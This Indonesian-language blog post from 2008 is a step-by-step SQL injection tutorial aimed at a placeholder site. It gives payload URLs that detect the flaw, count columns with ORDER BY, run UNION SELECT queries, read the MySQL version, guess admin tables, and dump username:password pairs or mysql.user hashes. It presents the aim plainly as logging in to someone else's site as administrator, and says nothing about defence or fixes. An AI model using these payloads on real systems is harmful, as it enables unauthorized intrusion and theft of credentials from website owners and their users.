| SQL Injection |
|
|
| Written by Andi Wijaya | |
| Tuesday, 17 June 2008 | |
|
1.) Cek Kutu Misalkan kita mendapatkan target http://www.target.com/news.php?id=5 Sekarang kita test ada kutunya g tuh website dengan menambahkan di url ' contoh http://www.target.com/news.php?id=5' maka akan muncul error "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..." Atau Yang mendekati Itu berarti kita bisa gunakan Sql Injection 2). Mencari nomor dari kolom Untuk mencari nomor dari kolom kita menggunakan perintah ORDER BY Kita melakukan perurutan nomor sampai ada error http://www.target.com/news.php?id=5+order+by+1/* <-- no error http://www.target.com/news.php?id=5+order+by+2/* <-- no error http://www.target.com/news.php?id=5+order+by+3/* <-- no error http://www.target.com/news.php?id=5+order+by+4/* <-- error (kita akan mendapatkan pesan seperti Unknown column '4' in 'order clause' atau sesuatu seperti itu...ya gitu degh :( ) Berarti kita mendapatkan kolomnya, ya itu 3, karena di 4 error. Sedikit penjelasan, dalam penggunaan ORDER BY kita mencari pertemuan dimana website itu menjadi error dan tidak, setelah itu mendapatkannya, kita ambil yg tidak erorr terakhir sebelum keluar error. 3). Menggunakan fungsi UNION Dengan menggunakan UNION kita dapat memilih lebih banyak data dalam satu statemen sql. Jadi kita mendapatkan http://www.target.com/news.php?id=5+UNION+SELECT+1,2,3/* (kita telah menemukan bahwa nomor dari kolom-kolom adalah 3 di dalam bagian 2) Sekarang lihat pada artikel, artikelnya akan berubah jadi nomor 1 atau 2 atau 3 atau keluar semuanya, itu lah gunanya UNION 4). Check versi dari MySQL http://www.target.com/news.php?id=5+union+select+1,2,3/* NOTE: jika /* tidak bisa atau terjadi error, coba dengan -- ini merupakan suatu komentar penting bagi query kita untuk bekerja dengan baik. Misalkan kita mendapatkan nomor 2 di dalam tampilan, sekarang kita cek verisinya kita buang nomor 2, ganti dengan version() atau @@version nanti akan mendapatkan seperti 4.1.33-log atau 5.0.45 atau yang mendekati. Contoh tampilan : http://www.target.com/news.php?id=5+union+select+1,@@version,3/* Jika kamu mendapatkan error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..." Yang kita butuhkan adalah fungsi convert() contoh : http://www.target.com/news.php?id=5+union+select+1,convert(@@version+using+latin1),3/* atau dengan hex() dan unhex() contoh : http://www.target.com/news.php?id=5+union+all+select+1,unhex(hex(@@version)),3/* dan kamu akan mendapatan versi MySql :D 5). Mendapatkan table dan nama column Jika versi MySQL adalah < 5 (contoh : 4.1.33, 4.1.12...) <--- nanti saya akan menerangkan untuk MySQL > 5 version. kita harus menebak table dan nama column menurut perkiraan. jika nama tablenya: user/s, admin/s, member/s ... jika nama kolomnya: username, user, usr, user_name, password, pass, passwd, pwd etc... contohnya seperti http://www.target.com/news.php?id=5+union+all+select+1,2,3+from+admin/* (jika kita melihat nomor dua ditampilan, berarti benar table tersebut) kita tahu tablenya adalah admin... sekarang kita cek nama column. http://www.target.com/news.php?id=5+union+all+select+1,username,3+from+admin/* (jika yang keluarnya error, coba nama column yang lain) kita mendapatkan tampilan username, contohnya seperti admin, atau superadmin dll... sekarang kita cek column password ada apa tidak http://www.target.com/news.php?id=5+union+all+select+1,password,3+from+admin/* (jika kamu mendapatkan error, coba nama column yang lain) kita melihat password di tampilan dalam bentuk hash atau plain-text, itu tergantung dari isi database contoh md5 hash, mysql hash, sha1... sekarang kita harus menyelesaikan query biar terlihat bagus :) untuk itu kita menggunakan fungsi concat() (merupakan penggabungan strings) contoh : http://www.target.com/news.php?id=5+union+all+select+1,concat(username,0x3a,password),3+from+admin/* catatan : 0x3a, adalah nilai hex dari 3a, sedangkan 0x merupakan tambahan untuk dapat di baca oleh URL (ada cara lain untuk itu dengan menggunakan, char(58), merupakan dari nilai decimal ) http://www.target.com/news.php?id=5+union+all+select+1,concat(username,char(58),password),3+from+admin/* URL encrypt di http://andi.lp3i.net/tools/asci.htm sekarang kita mendapatkan username:password di tampilan, contoh admin:admin atau admin:somehash jika kamu mendapatkan itu, kamu bisa login sebagai admin atau superuser :D jika tidak dapat menebak nama table, kamu bisa selalu mencoba mysql.user (default) sedangkan columnya user dan password, jadi contohnya seperti http://www.target.com/news.php?id=5+union+all+select+1,concat(user,0x3a,password),3+from+mysql.user/* Cukup sudah untuk bagian ini, sekarang kita masuk bagian yang susah Tapi bersambung ya, tungguin aja mungkin tahun depan :D BY : http://andi.lp3i.net
Set as favorite
Bookmark
Email This
Hits: 350 Comments (0)
![]() Write comment
|
| Next > |
|---|